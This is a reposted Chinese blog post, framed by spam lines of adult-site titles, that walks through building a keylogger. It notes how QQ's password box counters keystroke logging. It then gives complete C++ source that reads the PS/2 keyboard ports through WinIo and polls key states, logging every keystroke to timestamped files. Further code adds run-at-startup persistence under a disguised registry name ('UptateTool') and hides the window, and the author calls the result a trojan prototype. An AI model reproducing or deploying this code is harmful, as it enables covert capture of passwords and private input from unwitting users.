一区二区三区日韩精品-日韩经典一区二区三区-五月激情综合丁香婷婷-欧美精品中文字幕专区

分享

使用WINIO進(jìn)行驅(qū)動(dòng)層的鍵盤記錄

 quasiceo 2013-12-06
分類: C++ WINIO 鍵盤記錄 2013-05-29 17:32 177人閱讀 評論(0) 收藏 舉報(bào)

突然對QQ的安全機(jī)制起了興趣..

想來利用檢測鍵盤狀態(tài)來做鍵盤記錄應(yīng)該很容易.安全軟件也不能認(rèn)為這種需求為非法.那QQ怎么防類似記錄呢.


做個(gè)實(shí)驗(yàn).


隨便寫個(gè)程序,每幀都去讀取鍵盤狀態(tài).行不行?


  1. for(int i = 8; i <=255; i++)  
  2. {  
  3.     if( GetAsyncKeyState(i) & 1 == 1 )  
  4.     {  
  5.         cout << i;  
  6.     }  
  7. }  


很容易取得鍵盤狀態(tài),每幀之間sleep上5微秒.CPU也不會(huì)高也不會(huì)漏掉.

這樣做的話,在使用記事本或其他應(yīng)用的時(shí)候都是可以記錄的.但當(dāng)QQ登錄框的密碼項(xiàng)激活時(shí),我發(fā)現(xiàn)即使沒有按鍵盤,也會(huì)不斷有檢測到鍵盤按鍵被按下..

也就是說QQ的密碼框在不斷的偽造按鍵事件..


嗯,這個(gè)方法挺巧妙的.我實(shí)驗(yàn)了一下招商銀行的安全控件.沒有類似的偽造行為.


這么看QQ和安全控件的原理應(yīng)該一樣,HOOK掉鍵盤事件.隱藏或偽造真實(shí)事件.

WINDOWS的機(jī)制是后HOOK的鉤子先被通知,那如果我們也HOOK掉相同的事件呢?

百度一下..發(fā)現(xiàn)有人研究過.QQ有個(gè)定時(shí)器,隔段時(shí)間會(huì)重新UNHOOK,HOOK一次.哈哈.這個(gè)機(jī)制確實(shí)巧妙.不禁的要贊一下.


那再底層有沒有辦法監(jiān)控呢?.試試用WINIO直接讀取鍵盤中斷的方法.這個(gè)設(shè)計(jì)到很多硬件知識.實(shí)在是不懂,搜了一圈知道以下原理:

PS2的鍵盤芯片.會(huì)在有鍵盤按下時(shí)改變端口64的標(biāo)志位.這時(shí)候去讀取端口60的值,就能得到當(dāng)前按下的鍵盤按鍵的掃描碼.

相關(guān)資料參考 : http://blog.csdn.net/vangoals/article/details/4405032

數(shù)據(jù)一旦被讀走,狀態(tài)寄存器就會(huì)清0.所以這里必須不停的監(jiān)控.CPU占用會(huì)較高.


于是寫了如下程序.每次啟動(dòng)時(shí)生成一個(gè)以當(dāng)前時(shí)間命名的文件,不停監(jiān)控鍵盤事件,如果10秒內(nèi)沒有鍵盤敲擊,則將之前的數(shù)據(jù)寫入文件.在WIN7,XP下運(yùn)行通過.

  1. // KeyBoardRecord.cpp : Defines the entry point for the console application.  
  2. //  
  3.   
  4. #include <windows.h>  
  5. #include <Winuser.h>  
  6. #include <string>  
  7. #include <fstream>  
  8. #include <iostream>  
  9.   
  10. #include <time.h>  
  11. #include <stdio.h>  
  12. #include <sys/types.h>  
  13. #include <sys/timeb.h>  
  14. #include <assert.h>  
  15.   
  16. #include <..\WinIo\Source\Dll\winio.h>  
  17.   
  18. #pragma comment( lib, "..\\WinIo_v2\\Source\\Dll\\Release\\WinIo.lib" )  
  19.   
  20. using namespace std;  
  21.   
  22.   
  23. string GetKey(int Key) // 判斷鍵盤按下什么鍵  
  24. {  
  25.     string KeyString = "";  
  26.     //判斷符號輸入  
  27.     const int KeyPressMask=0x80000000; //鍵盤掩碼常量  
  28.     int iShift=GetKeyState(0x10); //判斷Shift鍵狀態(tài)  
  29.     bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift鍵  
  30.     if(Key >=186 && Key <=222)  
  31.     {  
  32.         switch(Key)  
  33.         {  
  34.         case 186:  
  35.             if(IS)  
  36.                 KeyString = ":";  
  37.             else  
  38.                 KeyString = ";";  
  39.             break;  
  40.         case 187:  
  41.             if(IS)  
  42.                 KeyString = "+";  
  43.             else  
  44.                 KeyString = "=";  
  45.             break;  
  46.         case 188:  
  47.             if(IS)  
  48.                 KeyString = "<";  
  49.             else  
  50.                 KeyString = ",";  
  51.             break;  
  52.         case 189:  
  53.             if(IS)  
  54.                 KeyString = "_";  
  55.             else  
  56.                 KeyString = "-";  
  57.             break;  
  58.         case 190:  
  59.             if(IS)  
  60.                 KeyString = ">";  
  61.             else  
  62.                 KeyString = ".";  
  63.             break;  
  64.         case 191:  
  65.             if(IS)  
  66.                 KeyString = "?";  
  67.             else  
  68.                 KeyString = "/";  
  69.             break;  
  70.         case 192:  
  71.             if(IS)  
  72.                 KeyString = "~";  
  73.             else  
  74.                 KeyString = "`";  
  75.             break;  
  76.         case 219:  
  77.             if(IS)  
  78.                 KeyString = "{";  
  79.             else  
  80.                 KeyString = "[";  
  81.             break;  
  82.         case 220:  
  83.             if(IS)  
  84.                 KeyString = "|";  
  85.             else  
  86.                 KeyString = "\\";  
  87.             break;  
  88.         case 221:  
  89.             if(IS)  
  90.                 KeyString = "}";  
  91.             else  
  92.                 KeyString = "]";  
  93.             break;  
  94.         case 222:  
  95.             if(IS)  
  96.                 KeyString = '"';  
  97.             else  
  98.                 KeyString = "'";  
  99.             break;  
  100.         }  
  101.     }  
  102.     //判斷鍵盤的第一行  
  103.     if (Key == VK_ESCAPE) // 退出  
  104.         KeyString = "[Esc]";  
  105.     else if (Key == VK_F1) // F1至F12  
  106.         KeyString = "[F1]";  
  107.     else if (Key == VK_F2)  
  108.         KeyString = "[F2]";  
  109.     else if (Key == VK_F3)  
  110.         KeyString = "[F3]";  
  111.     else if (Key == VK_F4)  
  112.         KeyString = "[F4]";  
  113.     else if (Key == VK_F5)  
  114.         KeyString = "[F5]";  
  115.     else if (Key == VK_F6)  
  116.         KeyString = "[F6]";  
  117.     else if (Key == VK_F7)  
  118.         KeyString = "[F7]";  
  119.     else if (Key == VK_F8)  
  120.         KeyString = "[F8]";  
  121.     else if (Key == VK_F9)  
  122.         KeyString = "[F9]";  
  123.     else if (Key == VK_F10)  
  124.         KeyString = "[F10]";  
  125.     else if (Key == VK_F11)  
  126.         KeyString = "[F11]";  
  127.     else if (Key == VK_F12)  
  128.         KeyString = "[F12]";  
  129.     else if (Key == VK_SNAPSHOT) // 打印屏幕  
  130.         KeyString = "[PrScrn]";  
  131.     else if (Key == VK_SCROLL) // 滾動(dòng)鎖定  
  132.         KeyString = "[Scroll Lock]";  
  133.     else if (Key == VK_PAUSE) // 暫停、中斷  
  134.         KeyString = "[Pause]";  
  135.     else if (Key == VK_CAPITAL) // 大寫鎖定  
  136.         KeyString = "[Caps Lock]";  
  137.   
  138.     //-------------------------------------//  
  139.     //控制鍵  
  140.     else if (Key == 8) //<- 回格鍵  
  141.         KeyString = "[Backspace]";  
  142.     else if (Key == VK_RETURN) // 回車鍵、換行  
  143.         KeyString = "[Enter]\n";  
  144.     else if (Key == VK_SPACE) // 空格  
  145.         KeyString = " ";  
  146.     //上檔鍵:鍵盤記錄的時(shí)候,可以不記錄。單獨(dú)的Shift是不會(huì)有任何字符,  
  147.     //上檔鍵和別的鍵組合,輸出時(shí)有字符輸出  
  148.     /* 
  149.     else if (Key == VK_LSHIFT) // 左側(cè)上檔鍵 
  150.     KeyString = "[Shift]"; 
  151.     else if (Key == VK_LSHIFT) // 右側(cè)上檔鍵 
  152.     KeyString = "[SHIFT]"; 
  153.     */  
  154.     /*如果只是對鍵盤輸入的字母進(jìn)行記錄:可以不讓以下鍵輸出到文件*/  
  155.     //else if (Key == VK_TAB) // 制表鍵  
  156.     //  KeyString = "[Tab]";  
  157.     //else if (Key == VK_LCONTROL) // 左控制鍵  
  158.     //  KeyString = "[Ctrl]";  
  159.     //else if (Key == VK_RCONTROL) // 右控制鍵  
  160.     //  KeyString = "[CTRL]";  
  161.     //else if (Key == VK_LMENU) // 左換檔鍵  
  162.     //  KeyString = "[Alt]";  
  163.     //else if (Key == VK_LMENU) // 右換檔鍵  
  164.     //  KeyString = "[ALT]";  
  165.     //else if (Key == VK_LWIN) // 右 WINDOWS 鍵  
  166.     //  KeyString = "[Win]";  
  167.     //else if (Key == VK_RWIN) // 右 WINDOWS 鍵  
  168.     //  KeyString = "[WIN]";  
  169.     //else if (Key == VK_APPS) // 鍵盤上 右鍵  
  170.     //  KeyString = "右鍵";  
  171.     //else if (Key == VK_INSERT) // 插入  
  172.     //  KeyString = "[Insert]";  
  173.     //else if (Key == VK_DELETE) // 刪除  
  174.     //  KeyString = "[Delete]";  
  175.     //else if (Key == VK_HOME) // 起始  
  176.     //  KeyString = "[Home]";  
  177.     //else if (Key == VK_END) // 結(jié)束  
  178.     //  KeyString = "[End]";  
  179.     //else if (Key == VK_PRIOR) // 上一頁  
  180.     //  KeyString = "[PgUp]";  
  181.     //else if (Key == VK_NEXT) // 下一頁  
  182.     //  KeyString = "[PgDown]";  
  183.     //// 不常用的幾個(gè)鍵:一般鍵盤沒有  
  184.     //else if (Key == VK_CANCEL) // Cancel  
  185.     //  KeyString = "[Cancel]";  
  186.     //else if (Key == VK_CLEAR) // Clear  
  187.     //  KeyString = "[Clear]";  
  188.     //else if (Key == VK_SELECT) //Select  
  189.     //  KeyString = "[Select]";  
  190.     //else if (Key == VK_PRINT) //Print  
  191.     //  KeyString = "[Print]";  
  192.     //else if (Key == VK_EXECUTE) //Execute  
  193.     //  KeyString = "[Execute]";  
  194.   
  195.     //----------------------------------------//  
  196.     else if (Key == VK_LEFT) //上、下、左、右鍵  
  197.         KeyString = "[←]";  
  198.     else if (Key == VK_RIGHT)  
  199.         KeyString = "[→]";  
  200.     else if (Key == VK_UP)  
  201.         KeyString = "[↑]";  
  202.     else if (Key == VK_DOWN)  
  203.         KeyString = "[↓]";  
  204.     else if (Key == VK_NUMLOCK)//小鍵盤數(shù)碼鎖定  
  205.         KeyString = "[NumLock]";  
  206.     else if (Key == VK_ADD) // 加、減、乘、除  
  207.         KeyString = "+";  
  208.     else if (Key == VK_SUBTRACT)  
  209.         KeyString = "-";  
  210.     else if (Key == VK_MULTIPLY)  
  211.         KeyString = "*";  
  212.     else if (Key == VK_DIVIDE)  
  213.         KeyString = "/";  
  214.     else if (Key == 190 || Key == 110) // 小鍵盤 . 及鍵盤 .  
  215.         KeyString = ".";  
  216.     //小鍵盤數(shù)字鍵:0-9  
  217.     else if (Key == VK_NUMPAD0)  
  218.         KeyString = "0";  
  219.     else if (Key == VK_NUMPAD1)  
  220.         KeyString = "1";  
  221.     else if (Key == VK_NUMPAD2)  
  222.         KeyString = "2";  
  223.     else if (Key == VK_NUMPAD3)  
  224.         KeyString = "3";  
  225.     else if (Key == VK_NUMPAD4)  
  226.         KeyString = "4";  
  227.     else if (Key == VK_NUMPAD5)  
  228.         KeyString = "5";  
  229.     else if (Key == VK_NUMPAD6)  
  230.         KeyString = "6";  
  231.     else if (Key == VK_NUMPAD7)  
  232.         KeyString = "7";  
  233.     else if (Key == VK_NUMPAD8)  
  234.         KeyString = "8";  
  235.     else if (Key == VK_NUMPAD9)  
  236.         KeyString = "9";  
  237.     //-------------------------------------------//  
  238.   
  239.     //-------------------------------------------//  
  240.     //*對字母的大小寫進(jìn)行判斷*//  
  241.     else if (Key >=97 && Key <= 122) // 字母:a-z  
  242.     {  
  243.         if (GetKeyState(VK_CAPITAL)) // 大寫鎖定  
  244.         {  
  245.             if(IS) //Shift按下:為小寫字母  
  246.                 KeyString = Key;  
  247.             else // 只有大寫鎖定:輸出大寫字母  
  248.                 KeyString = Key - 32;  
  249.         }  
  250.         else// 大寫沒有鎖定  
  251.         {  
  252.             if(IS) // 按下Shift鍵: 大寫字母  
  253.                 KeyString = Key - 32;  
  254.             else // 沒有按Shift鍵: 小寫字母  
  255.                 KeyString = Key;  
  256.         }  
  257.     }  
  258.     else if (Key >=48 && Key <= 57) // 鍵盤數(shù)字:0-9及上方的符號  
  259.     {  
  260.         if(IS)  
  261.         {  
  262.             switch(Key)  
  263.             {  
  264.             case 48: //0  
  265.                 KeyString = ")";  
  266.                 break;  
  267.             case 49://1  
  268.                 KeyString = "!";  
  269.                 break;  
  270.             case 50://2  
  271.                 KeyString = "@";  
  272.                 break;  
  273.             case 51://3  
  274.                 KeyString = "#";  
  275.                 break;  
  276.             case 52://4  
  277.                 KeyString = "$";  
  278.                 break;  
  279.             case 53://5  
  280.                 KeyString = "%";  
  281.                 break;  
  282.             case 54://6  
  283.                 KeyString = "^";  
  284.                 break;  
  285.             case 55://7  
  286.                 KeyString = "&";  
  287.                 break;  
  288.             case 56://8  
  289.                 KeyString = "*";  
  290.                 break;  
  291.             case 57://9  
  292.                 KeyString = "(";  
  293.                 break;  
  294.             }  
  295.         }  
  296.         else  
  297.             KeyString = Key;  
  298.     }  
  299.     if (Key != VK_LBUTTON || Key != VK_RBUTTON)  
  300.     {  
  301.         if (Key >=65 && Key <=90) //ASCII 65-90 為A-Z  
  302.         {  
  303.             if (GetKeyState(VK_CAPITAL)) // 大寫鎖定:輸出A-Z  
  304.             {  
  305.                 if(IS) // 大寫鎖定,并且按下上檔鍵:輸出為小寫字母  
  306.                     KeyString = Key + 32;  
  307.                 else //只有大寫鎖定:輸出為大寫字母  
  308.                     KeyString = Key;  
  309.             }  
  310.             else // 大寫沒有鎖定:a-z  
  311.             {  
  312.                 if(IS)  
  313.                 {  
  314.                     KeyString = Key;  
  315.                 }  
  316.                 else  
  317.                 {  
  318.                     Key = Key + 32;  
  319.                     KeyString = Key;  
  320.                 }  
  321.             }  
  322.         }  
  323.     }  
  324.   
  325.     return KeyString;  
  326. }  
  327.   
  328. //多少秒算一次間隔  
  329. #define RECORD_INTERVAL 10  
  330.   
  331. void main()  
  332. {  
  333.     cout << "Start";  
  334.     if( InitializeWinIo() == false )  
  335.     {  
  336.         cout << "can not Init WinIO  :  " << GetLastError();  
  337.         ShutdownWinIo();  
  338.         return;  
  339.     }  
  340.   
  341.     string Filename;  
  342.     fstream FStream;  
  343.   
  344.     char szCurDir[MAX_PATH];  
  345.     GetCurrentDirectoryA( MAX_PATH, szCurDir );  
  346.   
  347.     time_t  _curTime;  
  348.     _curTime = time( NULL );  
  349.   
  350.     struct tm *tblock;  
  351.     tblock = localtime( &_curTime );  
  352.   
  353.     char szTimeBuf[128];  
  354.     sprintf_s( szTimeBuf, 128,("%d-%02d-%02d %02d-%02d-%02d"), 1900 + tblock->tm_year, tblock->tm_mon, tblock->tm_mday, tblock->tm_hour, tblock->tm_min, tblock->tm_sec );  
  355.     //sprintf_s( szTimeBuf, 128,("%d-%02d-%02d"), 1900 + tblock->tm_year, tblock->tm_mon, tblock->tm_mday );  
  356.   
  357.     Filename = string(szCurDir) + "\\" + string( szTimeBuf ) + ".txt";  
  358.   
  359.     time_t _curNextRecordTime = _curTime + RECORD_INTERVAL;  
  360.   
  361.     FStream.open(Filename.c_str(), ios_base::in | ios_base::out | ios_base::trunc );  
  362.     assert( FStream.fail() == false );  
  363.     while( FStream.fail() )  
  364.     {  
  365.         Sleep( 10000 );  
  366.         FStream.open(Filename.c_str(), ios_base::in | ios_base::out | ios_base::trunc );  
  367.     }  
  368.   
  369.     if ( FStream.fail() )  
  370.     {  
  371.         return;  
  372.     }  
  373.   
  374.     DWORD _lastVal = 0;  
  375.     string _strRecord;  
  376.     while(true)  
  377.     {  
  378.         _curTime = time( NULL );  
  379.   
  380.         string TempString = "";  
  381.         DWORD dwPortVal = 0;  
  382.         if ( GetPortVal( 0x64, &dwPortVal, 1 ) )  
  383.         {  
  384.             if ( _lastVal != dwPortVal )  
  385.             {  
  386.                 _lastVal = dwPortVal;  
  387.                 //cout << "0x64 : " << dwPortVal << "\n";  
  388.                 if ( dwPortVal & 0x1 == 1 )  
  389.                 {  
  390.                     DWORD dwKeyVal;  
  391.                     GetPortVal( 0x60, &dwKeyVal, 1 );  
  392.                     DWORD relKey = MapVirtualKey( dwKeyVal, 1 );  
  393.                     TempString += GetKey( relKey );  
  394.                     //cout << "0x60 : " << relKey << "\n";  
  395.                     //a 30 158 s 31 159 b 48 176  
  396.                     cout << TempString;  
  397.                       
  398.                 }  
  399.             }  
  400.         }  
  401.         for(int i = 8; i <=255; i++)  
  402.         {  
  403.             if( GetAsyncKeyState(i) & 1 == 1)  
  404.             {  
  405.                 TempString += GetKey( i );  
  406.                 cout << TempString;  
  407.             }  
  408.         }  
  409.   
  410.         if ( !TempString.empty() )  
  411.         {  
  412.             if ( _strRecord.empty() )  
  413.             {  
  414.                 sprintf_s( szTimeBuf, 128,("%d-%02d-%02d %02d-%02d-%02d"), 1900 + tblock->tm_year, tblock->tm_mon, tblock->tm_mday, tblock->tm_hour, tblock->tm_min, tblock->tm_sec );  
  415.                 _strRecord += string( szTimeBuf ) + "\t ";  
  416.             }  
  417.             _strRecord += TempString;  
  418.   
  419.             _curNextRecordTime = _curTime + RECORD_INTERVAL;  
  420.         }  
  421.   
  422.         if ( _curNextRecordTime < _curTime )  
  423.         {  
  424.             if ( !_strRecord.empty() )  
  425.             {  
  426.                 _strRecord += "\n";  
  427.                 FStream.write(_strRecord.c_str(), _strRecord.size());  
  428.                 FStream.close();  
  429.                 FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);  
  430.   
  431.                 _strRecord = "";  
  432.             }  
  433.   
  434.             _curNextRecordTime = _curTime + RECORD_INTERVAL;  
  435.         }  
  436.     }  
  437.   
  438.     ShutdownWinIo();  
  439.   
  440. }  

那..既然做類似研究,就把相關(guān)的都做了..比如說開機(jī)啟動(dòng)....

  1. char szModName[MAX_PATH];  
  2. HMODULE GetModH = GetModuleHandle(NULL);  
  3. GetModuleFileName( GetModH, szModName, MAX_PATH );  
  4.   
  5. HKEY hKey;  
  6. RegOpenKeyEx(HKEY_LOCAL_MACHINE,  
  7.     "Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );  
  8. RegSetValueEx(hKey, "UptateTool", 0, REG_SZ,(const unsigned char*)szModName,sizeof(szModName));  
  9. RegCloseKey( hKey );  


嗯..再比如說隱藏程序運(yùn)行的界面...將程序改為WINDOWS.原來是CONSOLE.然后添加
  1. int APIENTRY WinMain(HINSTANCE hInstance,  
  2.                        HINSTANCE hPrevInstance,  
  3.                        LPTSTR    lpCmdLine,  
  4.                        int       nCmdShow)  
  5. {  
  6.     main();  
  7.     return 0;  
  8. }  

嗯..算是一個(gè)木馬的雛形了..就是還搞不懂USB鍵盤應(yīng)該怎么做.原理一樣么?求達(dá)人指教...




    本站是提供個(gè)人知識管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多

    免费观看一区二区三区黄片| 欧美日韩成人在线一区| 日本一本在线免费福利| 精品一区二区三区免费看| 久久精品国产99国产免费| 高清在线精品一区二区| 91免费精品国自产拍偷拍| 日韩精品视频香蕉视频| 亚洲中文在线男人的天堂| 爱草草在线观看免费视频| 欧美区一区二区在线观看| 国产丝袜极品黑色高跟鞋| 国产亚洲精品久久久优势| 91久久精品国产成人| 日韩精品日韩激情日韩综合| 国产精品日韩精品一区| 老司机精品线观看86| 好吊视频有精品永久免费| 中文字幕亚洲精品人妻| 亚洲精品一区三区三区| 五月天婷亚洲天婷综合网| 日韩一区二区三区在线日| 亚洲乱码av中文一区二区三区| 国产成人精品视频一区二区三区| 欧美胖熟妇一区二区三区| 中文字幕一区二区久久综合| 九九热这里只有精品视频| 国产亚洲欧美日韩精品一区| 青青草草免费在线视频| 欧美午夜视频免费观看| 国产欧美一区二区另类精品| 久久亚洲国产视频三级黄| 在线精品首页中文字幕亚洲| 欧美尤物在线视频91| 国产麻豆成人精品区在线观看| 又黄又硬又爽又色的视频| 国产精品欧美一区两区| 精品人妻久久一品二品三品| 91精品国产综合久久精品| 东京热加勒比一区二区三区| 69老司机精品视频在线观看|